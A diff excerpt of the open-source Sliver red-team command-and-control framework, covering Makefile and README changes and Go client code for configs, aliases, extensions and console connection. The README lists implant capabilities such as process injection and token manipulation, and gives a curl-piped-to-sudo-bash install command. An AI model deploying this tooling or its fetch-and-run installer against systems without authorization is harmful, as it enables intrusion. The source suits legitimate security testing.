protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
@@ -115,8 +167,4 @@ clean-all: clean
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f ./protobuf/client/*.pb.go
|
||||
rm -f ./protobuf/sliver/*.pb.go
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server *.exe
|
||||
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -1,13 +1,11 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
⚠️ __Notice:__ Sliver is currently in __beta__, you've been warned :) and please consider [contributing](/CONTRIBUTING.md)
|
||||
|
||||
Sliver is an open source, cross-platform adversary simulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual-TLS, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
 [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
 [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
### Features
|
||||
|
||||
@@ -17,19 +15,23 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* Staged and Stageless payloads
|
||||
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
|
||||
* [Fully scriptable](https://github.com/moloch--/sliver-script)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-anti-anti-forensics
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
|
||||
#### Linux One Liner
|
||||
|
||||
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
@@ -38,6 +40,11 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
|
||||
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
+4
-2
@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
|
||||
__Important:__ No code in this directory can import any code from `server/`.
|
||||
|
||||
* `assets/` - Static asset files and management code (e.g. client configs)
|
||||
* `command/` - Command implementations
|
||||
* `cli/` - Command line interface implementation
|
||||
* `command/` - Console command implementations
|
||||
* `constants/` - Various shared constant values
|
||||
* `core/` - Client state management
|
||||
* `help/` - Console help
|
||||
* `licenses/` - Open source licenses
|
||||
* `spin/` - Console spinner library
|
||||
* `tcpproxy/` - Local TCP proxy listener code
|
||||
* `transport/` - Wires the client to the server
|
||||
* `version/` - Version information
|
||||
* `main.go` - Entrypoint
|
||||
@@ -0,0 +1 @@
|
||||
fs/**
|
||||
@@ -0,0 +1,65 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
AliasesDirName = "aliases"
|
||||
)
|
||||
|
||||
// GetAliasesDir - Returns the path to the config dir
|
||||
func GetAliasesDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, AliasesDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledAliasManifests - Returns a list of installed alias manifests
|
||||
func GetInstalledAliasManifests() []string {
|
||||
aliasDir := GetAliasesDir()
|
||||
aliasDirContent, err := ioutil.ReadDir(aliasDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range aliasDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
)
|
||||
|
||||
var (
|
||||
// DefaultArmoryPublicKey - The default public key for the armory
|
||||
DefaultArmoryPublicKey string
|
||||
// DefaultArmoryRepoURL - The default repo url for the armory
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
}
|
||||
)
|
||||
|
||||
// ArmoryConfig - The armory config file
|
||||
type ArmoryConfig struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Authorization string `json:"authorization"`
|
||||
AuthorizationCmd string `json:"authorization_cmd"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := ioutil.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
if armoryConfig.AuthorizationCmd != "" {
|
||||
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
|
||||
}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
|
||||
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
|
||||
if armoryConfig.AuthorizationCmd == "" {
|
||||
return ""
|
||||
}
|
||||
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
|
||||
if err != nil {
|
||||
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
|
||||
return ""
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
+45
-2
@@ -19,21 +19,28 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
func GetRootAppDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName)
|
||||
dir := filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -42,3 +49,39 @@ func GetRootAppDir() string {
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := filepath.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
}
|
||||
|
||||
// Setup - Extract or create local assets
|
||||
func Setup(force bool, echo bool) {
|
||||
appDir := GetRootAppDir()
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
@@ -40,6 +40,7 @@ type ClientConfig struct {
|
||||
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
|
||||
LHost string `json:"lhost"`
|
||||
LPort int `json:"lport"`
|
||||
Token string `json:"token"`
|
||||
CACertificate string `json:"ca_certificate"`
|
||||
PrivateKey string `json:"private_key"`
|
||||
Certificate string `json:"certificate"`
|
||||
@@ -48,7 +49,7 @@ type ClientConfig struct {
|
||||
// GetConfigDir - Returns the path to the config dir
|
||||
func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := path.Join(rootDir, ConfigDirName)
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -85,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
// ReadConfig - Load config into struct
|
||||
func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
confFile, err := os.Open(confFilePath)
|
||||
defer confFile.Close()
|
||||
if err != nil {
|
||||
log.Printf("Open failed %v", err)
|
||||
return nil, err
|
||||
}
|
||||
defer confFile.Close()
|
||||
data, err := ioutil.ReadAll(confFile)
|
||||
if err != nil {
|
||||
log.Printf("Read failed %v", err)
|
||||
@@ -107,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
// SaveConfig - Save a config to disk
|
||||
func SaveConfig(config *ClientConfig) error {
|
||||
if config.LHost == "" || config.Operator == "" {
|
||||
return errors.New("Empty config")
|
||||
return errors.New("empty config")
|
||||
}
|
||||
configDir := GetConfigDir()
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
// ExtensionsDirName - Directory storing the client side extensions
|
||||
ExtensionsDirName = "extensions"
|
||||
)
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
|
||||
func GetInstalledExtensionManifests() []string {
|
||||
extDir := GetExtensionsDir()
|
||||
extDirContent, err := ioutil.ReadDir(extDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range extDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
settingsFileName = "tui-settings.json"
|
||||
)
|
||||
|
||||
// ClientSettings - Client JSON config
|
||||
type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
func LoadSettings() (*ClientSettings, error) {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
settings := defaultSettings()
|
||||
err = json.Unmarshal(data, settings)
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
return settings, nil
|
||||
}
|
||||
|
||||
func defaultSettings() *ClientSettings {
|
||||
return &ClientSettings{
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
}
|
||||
}
|
||||
|
||||
// SaveSettings - Save the current settings to disk
|
||||
func SaveSettings(settings *ClientSettings) error {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
if settings == nil {
|
||||
settings = defaultSettings()
|
||||
}
|
||||
data, err := json.MarshalIndent(settings, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
|
||||
return err
|
||||
}
|
||||
+25
-1
@@ -25,7 +25,9 @@ import (
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
@@ -69,13 +71,35 @@ var rootCmd = &cobra.Command{
|
||||
defer logFile.Close()
|
||||
|
||||
os.Args = os.Args[:1] // Stops grumble from complaining
|
||||
err := console.StartClientConsole()
|
||||
err := StartClientConsole()
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
// StartClientConsole - Start the client console
|
||||
func StartClientConsole() error {
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
|
||||
}
|
||||
|
||||
// Execute - Execute root command
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
func selectConfig() *assets.ClientConfig {
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
|
||||
if len(configs) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if len(configs) == 1 {
|
||||
for _, config := range configs {
|
||||
return config
|
||||
}
|
||||
}
|
||||
|
||||
answer := struct{ Config string }{}
|
||||
qs := getPromptForConfigs(configs)
|
||||
err := survey.Ask(qs, &answer)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
return nil
|
||||
}
|
||||
|
||||
return configs[answer.Config]
|
||||
}
|
||||
|
||||
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
|
||||
|
||||
keys := []string{}
|
||||
for k := range configs {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
return []*survey.Question{
|
||||
{
|
||||
Name: "config",
|
||||
Prompt: &survey.Select{
|
||||
Message: "Select a server:",
|
||||
Options: keys,
|
||||
Default: keys[0],
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -2,3 +2,13 @@ Command
|
||||
=======
|
||||
|
||||
This package contains all of the client command implementations that are shared between the client and the server console.
|
||||
|
||||
### Developers
|
||||
|
||||
General guidance on the structure of this package:
|
||||
* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
|
||||
* The root command, and reused code should go into the file named after the command
|
||||
* For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
|
||||
* Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
|
||||
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
|
||||
* Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
|
||||
@@ -0,0 +1,11 @@
|
||||
Alias
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
|
||||
|
||||
|
||||
### Format
|
||||
|
||||
* `alias-dir/`
|
||||
* * `manifest.json` -
|
||||
@@ -0,0 +1,126 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Tool Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, aliasPkg := range loadedAliases {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
aliasPkg.Manifest.Name,
|
||||
aliasPkg.Manifest.CommandName,
|
||||
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
|
||||
aliasPkg.Manifest.Version,
|
||||
installed,
|
||||
aliasPkg.Manifest.IsAssembly,
|
||||
aliasPkg.Manifest.IsReflective,
|
||||
aliasPkg.Manifest.OriginalAuthor,
|
||||
aliasPkg.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func aliasPlatforms(aliasPkg *AliasManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range aliasPkg.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &AliasManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "testing"
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
